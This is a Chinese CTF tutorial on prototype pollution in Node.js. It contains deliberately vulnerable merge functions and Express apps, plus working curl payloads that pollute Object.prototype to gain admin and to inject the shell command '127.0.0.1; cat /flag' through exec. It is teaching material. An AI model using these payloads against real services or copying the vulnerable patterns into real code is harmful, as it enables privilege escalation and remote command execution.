原型链污染

原型链污染 (Prototype Chain Pollution)

1. 核心概念是什么?

首先,也是最重要的一点:这是一个 JavaScript 漏洞,通常出现在 Node.js 后端。它和 PHP 无关。

原型 (Prototype): 在 JavaScript 中,几乎所有对象都有一个内部链接指向另一个对象,这个对象就是它的“原型”。当你试图访问一个对象的属性时,如果在该对象本身上找不到,JavaScript 引擎就会沿着原型链向上查找。

Object.prototype: 它是原型链的顶端,可以看作是所有对象的“老祖宗”。

污染 (Pollution): 原型链污染指的是,攻击者通过某种方式,成功地修改了 Object.prototype,向其中添加了新的属性。

后果: 一旦“老祖宗”被修改,那么在这个应用中,所有通过 {}new Object() 创建的对象,都会“继承”这个被污染的属性。

漏洞的根源:通常出现在不安全的对象合并 (merge)、克隆 (clone) 或路径赋值的函数中。当这些函数递归地处理一个由攻击者构造的 JSON 对象时,可能会错误地把 __proto__ 当作一个普通的键来处理,从而导致对 Object.prototype 的修改。

2. 在 CTF 中如何判断?

  1. 代码审计(白盒,通常是 Node.js):

寻找不安全的合并逻辑: 查找实现对象深拷贝或合并功能的代码,特别是递归合并。

// 易受攻击的合并函数模式
function merge(target, source) {
  for (let key in source) {
    if (typeof target[key] === 'object' && source[key] !== null) {
      merge(target[key], source[key]); // 递归调用
    } else {
      target[key] = source[key]; // 赋值
    }
  }
}

检查库版本: 检查 package.json 文件,看是否使用了存在已知原型链污染漏洞的库的旧版本(例如 lodash, qs, ejs 等)。

  1. 黑盒测试:

寻找JSON输入点: 寻找接受 JSON 输入的地方,比如 URL 的查询参数(?a[b][c]=value)POST 请求的 JSON body。

发送污染 payload: 尝试发送一个包含 __proto__ 键的 payload。

URL 查询参数: ?__proto__[polluted]=true

JSON Body: {"__proto__": {"polluted": true}}

验证污染: 发送污染 payload 后,请求应用的其他功能,观察是否有异常。比如,一个原本正常的 API 请求突然返回了 {"polluted": true},或者一个模板渲染出现了意想不到的结果,这都说明原型链可能被污染了。

3. 在 CTF 中如何使用?

利用原型链污染的核心是寻找一个 Gadget Property。你污染原型链本身没有用,你必须污染一个会被应用程序代码在后续逻辑中使用的属性。

利用流程:

比如,你再次访问个人中心页面。代码在检查 session.user.isAdmin 时,发现 session.user 对象本身没有 isAdmin 属性,于是沿着原型链向上找,最终在 Object.prototype 上找到了你注入的 isAdmin: true,从而让你获得了管理员权限。

简单示例:

目标代码 (Vulnerable Node.js/Express App):

const express = require('express');
const app = express();
app.use(express.json());

// 不安全的合并函数
function merge(target, source) { /* ... 和上面一样的易受攻击的代码 ... */ }

let session = { user: { name: 'guest' } };

// 接受用户设置并合并,这里是污染入口
app.post('/settings', (req, res) => {
    merge(session.user, req.body);
    res.send('Settings updated!');
});

// 只有 admin 能访问的路由,这里是 Gadget
app.get('/admin', (req, res) => {
    if (session.user.isAdmin === true) {
        res.send('Welcome, Admin! Here is the flag: ctf{...}');
    } else {
        res.send('Access denied.');
    }
});

app.listen(3000);

你的利用步骤:

第一步:发送污染 payload

curl -X POST -H "Content-Type: application/json" -d '{"__proto__": {"isAdmin": true}}' http://localhost:3000/settings

第二步:触发 Gadget

curl http://localhost:3000/admin

你会看到返回了 flag,因为 session.user 对象继承了被污染的 isAdmin: true 属性。

例题:JavaScript 原型链污染 (经典题目改编)

这个例子展示了如何通过一个不安全的深拷贝函数污染原型链,并利用一个后续的 Gadget 来执行任意代码。

题目描述

名称: “NodeJS Config Service”

目标: 这是一个简单的配置服务,允许用户通过 API 更新他们的配置。服务后台使用了 child_process 来执行一些系统命令。请获取服务器的 /flag 文件内容。

源代码 (server.js):

const express = require('express');
const app = express();
const { exec } = require('child_process');

app.use(express.json());

// 一个不安全的深拷贝/合并函数
function deepMerge(target, source) {
    for (const key in source) {
        if (Object.prototype.hasOwnProperty.call(source, key)) {
            if (target[key] && typeof target[key] === 'object') {
                deepMerge(target[key], source[key]); // 递归合并
            } else {
                target[key] = source[key]; // 直接赋值
            }
        }
    }
    return target;
}

let userConfig = {
    username: 'default',
    settings: {
        theme: 'dark',
        notifications: true
    },
    // 一个危险的 Gadget
    runDiagnostics: function() {
        // 默认情况下,这个命令是安全的
        let cmd = this.settings.pingHost || '127.0.0.1';
        exec(`ping -c 1 ${cmd}`, (err, stdout, stderr) => {
            console.log(stdout);
        });
    }
};

// 污染入口:允许用户更新配置
app.post('/api/config', (req, res) => {
    deepMerge(userConfig, req.body);
    userConfig.runDiagnostics(); // 每次更新配置后,自动运行诊断
    res.json({ message: 'Config updated' });
});

app.listen(3000, () => console.log('Server is running on port 3000'));

解析

漏洞判断

入口点: deepMerge 函数是典型的易受攻击的模式。当它处理 key 为 proto 的情况时,target[key] 实际上会变成 target[‘proto’],这就会导致我们能够访问并修改 target 的原型。由于 target 在这里是 userConfig,一个普通对象,最终我们会污染到 Object.prototype。

寻找 Gadget: runDiagnostics 函数中存在命令执行 exec。命令的内容部分来自于 this.settings.pingHost。如果 userConfig.settings 对象中没有 pingHost 属性,JavaScript 就会沿着原型链向上查找。如果我们能污染 Object.prototype,给它添加一个 pingHost 属性,那么这里的代码就会使用我们注入的值。

构建利用链

通过 /api/config接口,发送一个恶意的 JSON。

这个 JSON 会利用 deepMerge 函数中的 proto 漏洞,在 Object.prototype 上添加一个名为 pingHost 的属性。

deepMerge 执行完毕后,代码会调用 userConfig.runDiagnostics()

runDiagnostics 内部,当代码试图访问 this.settings.pingHost 时,由于 userConfig.settings 本身没有这个属性,它会从被污染的原型中找到我们注入的恶意命令。

exec 函数最终执行了我们构造的命令。

构造 Exploit Payload

我们想执行的命令是读取 /flag 文件。我们可以使用 ; 来注入新命令,例如 127.0.0.1; cat /flag

我们需要构造一个 JSON,当它被 deepMerge 处理时,能够将 Object.prototype.pingHost 设置为我们的恶意命令。

Payload (JSON Body):

{
  "settings": {
    "__proto__": {
      "pingHost": "127.0.0.1; cat /flag"
    }
  }
}

解析:当 deepMerge 递归到 settings 对象时,target 是 userConfig.settings,source 是我们 payload 中的 {“proto”: …}。当 key 为 proto 时,target[key] 就会修改 userConfig.settings 的原型,也就是 Object.prototype。source[key] 是 {“pingHost”: …},于是 pingHost 属性就被成功添加到了 Object.prototype 上。

使用

使用 curl 或 Postman 等工具,向 /api/config 发送一个 POST 请求。

curl -X POST \
  http://localhost:3000/api/config \
  -H 'Content-Type: application/json' \
  -d '{
    "settings": {
      "__proto__": {
        "pingHost": "127.0.0.1; cat /flag"
      }
    }
  }'

发送请求后,服务器会执行 ping -c 1 127.0.0.1; cat /flag。flag 的内容会显示在运行 server.js 的那个服务器端的终端上,作为 stdout 被打印出来。在 CTF 比赛中,通常会通过其他方式(比如反弹 shell)来获取输出。